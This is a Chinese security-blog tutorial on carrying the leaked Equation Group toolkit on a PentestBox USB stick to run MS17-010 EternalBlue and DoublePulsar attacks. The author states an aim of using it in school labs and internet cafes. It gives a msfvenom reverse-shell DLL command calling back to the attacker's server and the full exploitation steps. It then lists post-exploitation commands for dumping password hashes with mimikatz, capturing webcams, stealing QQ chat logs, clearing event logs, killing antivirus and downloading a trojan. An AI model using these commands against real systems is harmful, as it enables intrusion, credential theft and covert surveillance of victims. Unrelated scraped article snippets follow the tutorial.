本文首发Freebuf,原创奖励计划,未经许可禁止转载。

链接:http://www.freebuf.com/articles/system/132274.html

一. 前言

  前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

  于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。

  这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。

二. 环境移植过程

思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境

Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。

1.  工具准备:

Pentestbox:

https://pentestbox.org/zh/

方程式工具包:

EQGRP_Lost_in_Translation

https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master

python环境

必须在Python2.6  和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

Python2.6  和 pywin32-221位数需要相同,我用的是32位的

Python2.6.6 (32)

下载链接:https://www.python.org/download/releases/2.6.6/

pywin32-221(32)

下载链接:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download

2.  Pentestbox下python2.6环境配置

分别安装,然后你会得到攻击包运行的python2.6环境

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base

刚才你也可以直接装到pentestbox\base下

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行

python26="%pentestbox_ROOT%\base\Python26\python.exe" $*

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

这个时候,我们运行python26可以看到环境配置成功

3. 漏洞利用工具配置

我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码

然后我们把windows文件夹复制到pentestbox目录下

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

我们进入ms07-010目录并执行python26 fb.py

这样我们就可以启动攻击程序了

三. 攻击示例

攻击机:192.168.1.106

靶机: 192.168.1.111   windows x64 SP1

我们先用msf生成dll木马,用于控制目标

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx  LPORT=9999 -f dll > 9999-64.dll

Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听

本地测试时候可以找一台kali攻击机

dll木马我们可以提前生成好放在u盘里带着,随时备用*_*

接下来我们用Msf进行监听

  use exploit/multi/handler

  set payload windows/x64/meterpreter/reverse_tcp

  set LHOST IP     (这里填写vps的内网ip,记得开放监听端口)

  set LPORT 9999

  set stagerverifysslcert false

  exploit -j

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

回到fb.py中,开始攻击

[?] Default Target IP Address [] :              攻击目标

[?] Default Callback IP Address [] :            本机ip

[?] Use Redirection [yes] : no                    是否重定向

[?] Base Log directory [D:\logs] :            是否输出日志

然后创建一个项目实例

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

输入命令 use 可以查看我们利用的exp模块

我们使用EternalBlue模块,use EternalBlue

下面一直回车就行。。。

选择攻击目标的系统

这里会询问你payload传输方式  选择1,感觉更稳定些

继续回车,确认信息

成功之后,我们使用doublepulsar模块

继续一路回车

选择协议

选择目标系统

选择攻击方式,我们利用dll木马

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~

然后设置要注入的程序,默认是lsass.exe

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框

注入其他进程,有时候或多或少都会出那么点问题

然后是一路回车

最后一步执行攻击

Msf这里成功获取shell

截个屏看看

一个正在成长中的团队,欢迎交流,分享,合作~

四. 后渗透辅助命令

配合下面的一些命令,happy to play~

meterpreter

upload /root/nc.exe c:\\windows\\system32  #上传文件

search –d c:\\windows –f *.mdb             #在目标主机Windows目录中搜索文件s

执行程序

execute -H -i -f cmd.exe #隐藏执行cmd并与之交互

execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”                   #隐藏执行,并显示虚假运行程序

我们可以用远控生成一个木马传过去

例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看

download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp

run webcam -p 图片保存路径          #开启目标摄像头并截图

run packetrecorder –i 会话序号   #捕获流量数据包.pcap

提权

use privs

getsystem

getuid

clearev --清除日志

run killav --干掉杀软

文件关联

改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile

改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile

改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile

Hash获取

hashdump或run hashdump或run smart_hashdump

>run post/windows/gather/hashdump

>run /windows/gather/smart_hashdump        --可绕过windows UAC控制

用kiwi获取明文密码:

meterpreter>load kiwi

meterpreter> creds_all

Metaspolit中使用Mimikatz:

使用metasploit内建的命令:

meterpreter > load mimikatz

meterpreter > msv   #msv creden

meterpreter > kerberostials #kerberos credentials

使用mimikatz自带的命令:

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

利用windows命令下载文件

bitsadmin /transfer mydownJob /download /priority normal “http://url/muma.exe"   "F:\muma.exe "

详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx

最后:

今天下午有人在i春秋发布了批量利用程序

https://bbs.ichunqiu.com/thread-21863-1-1.html~

利用pentestbox打造ms17-010移动"杀器"的更多相关文章

  1. 打造自己的html5视频播放器

    前段时间重新学习了一下html5的video部分,以前只是停留在标签的使用上,这一次决定深入了解相关的API,并运用这些API打造一个简单的视频播放器.所谓“打造自己的”,就是要自己重写video标签 ...

  2. ORM “杀器”之 JOOQ

    ORM “杀器”之 JOOQ IN 后端编程,JAVA,敏捷开发,数据库 JOOQ是啥? JOOQ 是基于Java访问关系型数据库的工具包,轻量,简单,并且足够灵活,可以轻松的使用Java面向对象语法 ...

  3. [NewLife.XCode]反向工程(自动建表建库大杀器)

    NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...

  4. 一文读懂机器学习大杀器XGBoost原理

    http://blog.itpub.net/31542119/viewspace-2199549/ XGBoost是boosting算法的其中一种.Boosting算法的思想是将许多弱分类器集成在一起 ...

  5. 离群点检测与序列数据异常检测以及异常检测大杀器-iForest

    1. 异常检测简介 异常检测,它的任务是发现与大部分其他对象不同的对象,我们称为异常对象.异常检测算法已经广泛应用于电信.互联网和信用卡的诈骗检测.贷款审批.电子商务.网络入侵和天气预报等领域.这些异 ...

  6. H5打造属于自己的视频播放器(JS篇2)

    回顾 算了不回顾了 直接搞起,打开JS1中写的bvd.js 播放视频 播放按钮隐藏 视频开始播放 当点击播放按钮的时候,播放按钮将会隐藏,播放视频,这个不难,在JS1中我们就已经实现.但我们改变一下思 ...

  7. 怎样利用App打造自明星实现自盈利

    怎样利用App打造自明星实现自盈利 1.了解各个概念       为了大家都能看懂这篇文章,先说明几个概念.        App(Application):能够在移动设备上使用,满足人们咨询.购物. ...

  8. 使用docker-compose 大杀器来部署服务 上

    使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...

  9. 使用docker-compose 大杀器来部署服务 上(转)

    使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...

随机推荐

  1. SPOJ COT3.Combat on a tree(博弈论 Trie合并)

    题目链接 \(Description\) 给定一棵\(n\)个点的树,每个点是黑色或白色.两个人轮流操作,每次可以选一个白色的点,将它到根节点路径上的所有点染黑.不能操作的人输,求先手是否能赢.如果能 ...

  2. c++中static变量有什么用

    主要有两点用途. 1.让一个变量长期有效,而不管其是在什么地方被申明.比如: int fun1() { static int s_value = 0; .... } 那么fun1不管在什么地方被调用, ...

  3. 老毛桃UEFI版u盘启动盘

    使用老毛桃制作UEFI启动盘 下载UEFI版本启动盘制作工具,打开官方网站http://www.laomaotao.org,当前显示页面右下下载UEFI版本.文章写作时最新版本为9.3. 使用教程见: ...

  4. [P3385]【模板】负环 (spfa / bellman-ford)

    终于开始认真对待图论了 因为听说一直是提高组的,动得很少,直到现在机房打提高的氛围下,开始学一些皮毛的东西 模板题目链接 这是一道求负环的题目,照理来说大家都是用spfa来判断负环的 但是我觉得bel ...

  5. div height 自适应高度 占满剩余高度的方法

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. C++程序设计方法4:函数模板

    函数模板 有些算法与类型无关,所以可以将函数的参数类型也定义为一种特殊的“参数”,这样就得到“函数模板” 定义函数模板的方法:template<typename T> 返回类型 函数名称( ...

  7. C++程序设计方法3:派生类对象的构造和析构过程

    基类中的数据成员,通过继承成为派生类对象的一部分,需要在构造派生类对象的过程中调用基类构造函数来正确初始化: 若没有显示调用,则编译器会自动生成一个对基类的默认构造函数的调用. 若想要显示调用,则只能 ...

  8. 【C语言程序】让用户输入一句话,输出这句话中每个单词含有多少个字母

      #include <stdio.h> #define N 100 //宏定义,用N表示100 int main(int argc, char *argv[]) {  ;  char s ...

  9. Flask-WTF表单的使用

    使用flask的WTF表单 #! /usr/bin/env python # *-* coding: utf-8 *-* from flask import Flask, render_templat ...

  10. 微信小程序-转发

    仅供参考 1,js: onShareAppMessage(res) { return { title: '我在使用俺搜·找客户,10万+材料人都在用,就差你了', path: '/pages/inde ...